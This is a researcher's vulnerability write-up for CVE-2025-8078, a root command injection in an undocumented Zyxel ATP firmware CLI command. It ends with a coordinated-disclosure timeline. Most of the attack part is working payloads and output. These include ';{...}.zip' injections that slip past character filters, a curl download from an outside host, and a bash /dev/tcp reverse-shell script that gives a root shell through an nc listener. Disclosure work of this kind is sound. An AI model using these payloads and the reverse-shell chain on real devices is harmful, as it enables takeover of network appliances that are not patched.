CVE-2025-8078: Remote Code Execution via CLI Command Injection
Nothing in this world can take the place of persistence.
-Calvin Coolidge
Summary
During these three months of intense work, I decided to return to ZYXEL's ATP series, specifically the ZLD firmware.
I was certain I had left something behind. Something hidden and vulnerable.
I’m sharing a comic that Marco Ivaldi aka raptor shared with me during one of our chats. I found it incredibly relatable and funny, as it perfectly captures the situation when I decided to return to working on ZLD.
Hidden from the documentation but visible in the browser's source scripts, I identified a highly valuable command, one that use the shell command handler without validating user input. This command allows the execution of arbitrary code as root.
First Analysis
During some research in the device's front-end files, I found an undocumented command's parameter inside configCLI.js
.
CVE-2025-8078: Remote Code Execution via CLI Command Injection// configCLI.js (ext-js/app/common/cli-store/configCLI.js) custWEBremove: function(locate, target) { var CMD = 'web-auth type _delete wp-zip {0}'; this.addCLI(Ext.String.format(CMD, locate, target)); }, custUAremove: function(locate, target) { var CMD = 'web-auth type _delete ua-zip {0}'; this.addCLI(Ext.String.format(CMD, locate, target)); }
Since the parameter operates on files located on file system, I immediately suspected a lack of sanitization on the filename. The hypothesis came from a simple line of reasoning: if the command is hidden, it probably hasn't been properly sanitized. After all, who's supposed to see it?
With that in mind, I quickly jumped into the shell to see what I was dealing with.
CVE-2025-8078: Remote Code Execution via CLI Command Injectionrainpwn@0xdeadspace:~$ ssh 192.168.169.1 -l admin (admin@192.168.169.1) Password: Router# # I'm back, ZYSH! >:) Router# configure terminal Router(config)# web-auth type _delete wp-zip test.zip Router(config)# # Silence... Router(config)# web-auth type _delete wp-zip 'test.zip Router(config)# # Silence... Router(config)# web-auth type _delete wp-zip ;id.zip uid=0(root) gid=0(root) groups=0(root) Router(config)# # BOOM \o/
As demonstrated, the hypothesis was correct. But what happens under the hood?
Jail-Break
It took me a few minutes of trial and error to figure out how to run a ping
or any command with one or more arguments.
This was because the parameter after wp-zip
doesn't accept characters like /
, |
, >
, <
, :
, or even spaces; it also has a maximum length of 30 characters and must end with .zip
.
After thinking it through for a bit, I tried executing the command using Command grouping with Curly braces
, separating the command and its arguments with commas.
CVE-2025-8078: Remote Code Execution via CLI Command Injectionrainpwn@0xdeadspace:~$ ssh 192.168.169.1 -l admin (admin@192.168.169.1) Password: Router# configure terminal Router(config)# web-auth type _delete wp-zip ;{ls,-la}.zip total 23 drwxr-xr-x 21 root root 0 Jul 22 00:50 . drwxr-xr-x 21 root root 0 Jul 22 00:50 .. -rw-r--r-- 1 root root 9 Jul 22 00:50 .quota drwxr-xr-x 3 root root 1024 Jul 18 19:17 MyZyXEL drwxr-xr-x 2 root root 0 Jul 22 00:47 aes lrwxrwxrwx 1 root root 13 Jul 22 00:47 bin -> /compress/bin drwxr-xr-x 11 root root 203 May 6 22:59 compress drwxr-xr-x 6 root root 4096 Jul 22 00:50 db drwxr-xr-x 5 root root 4096 Jul 22 00:45 db2 drwxr-xr-x 8 root root 2160 Jul 22 00:53 dev lrwxrwxrwx 1 root root 13 Jul 22 00:47 etc -> /compress/etc lrwxrwxrwx 1 root root 16 Jul 22 00:47 etc_writable -> /rw/etc_writable drwxr-xr-x 5 root root 0 Jul 22 00:49 home lrwxrwxrwx 1 root root 13 May 6 23:00 init -> zyinit/zyinit lrwxrwxrwx 1 root root 13 Jul 22 00:47 lib -> /compress/lib lrwxrwxrwx 1 root root 15 Jul 22 00:47 lib32 -> /compress/lib32 lrwxrwxrwx 1 root root 15 Jul 22 00:47 lib64 -> /compress/lib64 dr-xr-xr-x 218 root root 0 Jan 1 1970 proc drwxr-xr-x 2 root root 0 Jul 22 00:50 root drwxr-xr-x 3 root root 0 Jul 22 00:50 run drwxr-xr-x 4 root root 1024 Jul 22 00:46 rw drwxr-xr-x 4 root root 1024 May 20 00:29 rw2 lrwxrwxrwx 1 root root 14 Jul 22 00:47 sbin -> /compress/sbin drwxr-xr-x 19 root root 4096 Jul 18 19:36 share dr-xr-xr-x 11 root root 0 Jul 22 00:47 sys -rw-r--r-- 1 root root 2322 Jul 22 00:50 temp drwxrwxrwt 37 root root 5300 Jul 22 01:57 tmp lrwxrwxrwx 1 root root 13 Jul 22 00:47 usr -> /compress/usr drwxr-xr-x 2 root root 0 May 6 22:59 util drwx------ 124064 root root 0 Jul 22 01:57 utm drwxrwxrwx 23 root root 0 Jul 22 01:04 var drwxr-xr-x 2 root root 0 Jul 22 00:47 zyinit Router(config)#
Having found a way to move forward, I launched a ping
to analyze what was happening at the system level.
Why?
Pure curiosity.
CVE-2025-8078: Remote Code Execution via CLI Command Injectionrainpwn@0xdeadspace:~$ ssh 192.168.169.1 -l admin (admin@192.168.169.1) Password: Router# configure terminal Router(config)# web-auth type _delete wp-zip ;{ping,127.0.0.1,-c,5}.zip # 5 sec wait
And, in another shell, I launched
CVE-2025-8078: Remote Code Execution via CLI Command Injectionrainpwn@0xdeadspace:~$ ssh 192.168.169.1 -l admin (admin@192.168.169.1) Password: Router> debug system ps | match "ping" 27660 8928 ping root ? 19 0 1.0 0.0 S 2152 560 440 538 02:01:39 00:01 00:00:00 ping 127.0.0.1 -c 5 Router>
Obviously, since I used ;
, a separate process was created. By using &
, let's see what happens when we use the undocumented command.
CVE-2025-8078: Remote Code Execution via CLI Command Injectionrainpwn@0xdeadspace:~$ ssh 192.168.169.1 -l admin (admin@192.168.169.1) Password: Router> debug system ps | match "ping" 27799 8928 sh root ? 19 0 0.0 0.0 S 3560 1472 284 890 02:02:35 00:02 00:00:00 sh -c rm -rf /var/zyxel/.multi-portal/html/&{ping,127.0.0.1,-c,5} 27801 27799 ping root ? 19 0 0.0 0.0 S 2152 560 440 538 02:02:35 00:02 00:00:00 ping 127.0.0.1 -c 5 Router>
A classic.
Reverse shell
Let's be honest, RCE alone isn't enough or, at least for me, it isn't. Until I get the reverse shell, the game isn't over.
There were several attempts to obtain the shell, but each ended up freezing the device, requiring a physical reboot. This happened because appending bash
made the command wait for it to finish before releasing ZYSH, which obviously never happened.
The hypotheses were:
- Can I write to a file? No. Or at least, I found no way since all useful characters were banned.
- Can I spawn a reverse shell with Python, Perl, Ruby? No. Each uses at least one banned character, plus I have to stay within 30 characters.
- Write the reverse shell inside an environment variable? Again, no. Creating an environment variable is possible with
;{env,test=pwned}
, but character usage is limited.
Then I thought: Let's keep it simple
, what about curl
? If I stay within 30 characters, it works. And it’s available as a built-in utility!
So the strategy was: spin up a quick web server on port 80
to avoid specifying the port, create an index.html
to avoid using /
(banned-char), and save it as a
to save characters limit.
CVE-2025-8078: Remote Code Execution via CLI Command Injectionrainpwn@0xdeadspace:~/zyx_540_reverseshell/web$ cat index.html #!/bin/bash exec bash -i &>/dev/tcp/10.168.254.14/1337 <&1 rainpwn@0xdeadspace:~/zyx_540_reverseshell/web$ rainpwn@0xdeadspace:~/zyx_540_reverseshell/web$ python3 -m http.server 80 --bind 10.168.254.14 Serving HTTP on 10.168.254.14 port 80 (http://10.168.254.14:80/) ...
And on the device, we curl and run!
CVE-2025-8078: Remote Code Execution via CLI Command InjectionRouter(config)# web-auth type _delete wp-zip ;{curl,10.168.254.14,-o,a}.zip Router(config)# web-auth type _delete wp-zip ;{ls,-la,a}.zip -rw-r--r-- 1 root root 112 Jul 21 21:04 a Router(config)# web-auth type _delete wp-zip ;{cat,a}.zip #!/bin/bash exec bash -i &>/dev/tcp/10.168.254.14/1337 <&1 Router(config)# web-auth type _delete wp-zip ;{bash,a}.zip
Obviously, I get the shell as root.
CVE-2025-8078: Remote Code Execution via CLI Command Injectionrainpwn@0xdeadspace:~$ nc -lvnp 1337 Listening on 0.0.0.0 1337 Connection received on 1337 bash: cannot set terminal process group (9358): Inappropriate ioctl for device bash: no job control in this shell bash-5.1# id uid=0(root) gid=0(root) groups=0(root) bash-5.1# cat /rw/fwversion KERNEL_VERSION=3.10.87 FIRMWARE_VER=5.40(ABPS.0) CAPWAP_VER=1.00.04 MODEL_ID=ATP100 COMPATIBLE_PRODUCT_MODEL_0=E153 COMPATIBLE_PRODUCT_MODEL_1=E17F COMPATIBLE_PRODUCT_MODEL_2=FFFF COMPATIBLE_PRODUCT_MODEL_3=FFFF COMPATIBLE_PRODUCT_MODEL_4=FFFF KERNEL_BUILD_DATE=2025-05-07 05:01:23 BUILD_DATE=2025-05-07 05:42:54 FSH_VER=1.0.0 bash-5.1# # Device takeover
PoC Exploit
A PoC exploit is available here
Conclusion
After a two-month break, it was a pleasure and, above all, fun to get my hands back on these appliances. Gaining a root shell always comes with a dopamine rush.
References
Comand Grouping using curly braces
Disclosure Timeline
- 2025-07-22: ZYXEL was notified via <security@zyxel.com.tw>.
- 2025-07-23: ZYXEL acknowledged receipt of my vulnerability report.
- 2025-07-29: ZYXEL assigned CVE-2025-8078 to the reported issues and informed me of their intention to publish their security advisory on 2025-09-30.
- 2025-09-08: ZYXEL requested to postpone the public disclosure date to October 21, 2025, as the firmware patch is scheduled for release on October 20, 2025, allowing users adequate time to apply the update and secure their systems before the vulnerability is disclosed.
- 2025-10-21: ZYXEL published their security advisory, following our coordinated disclosure timeline.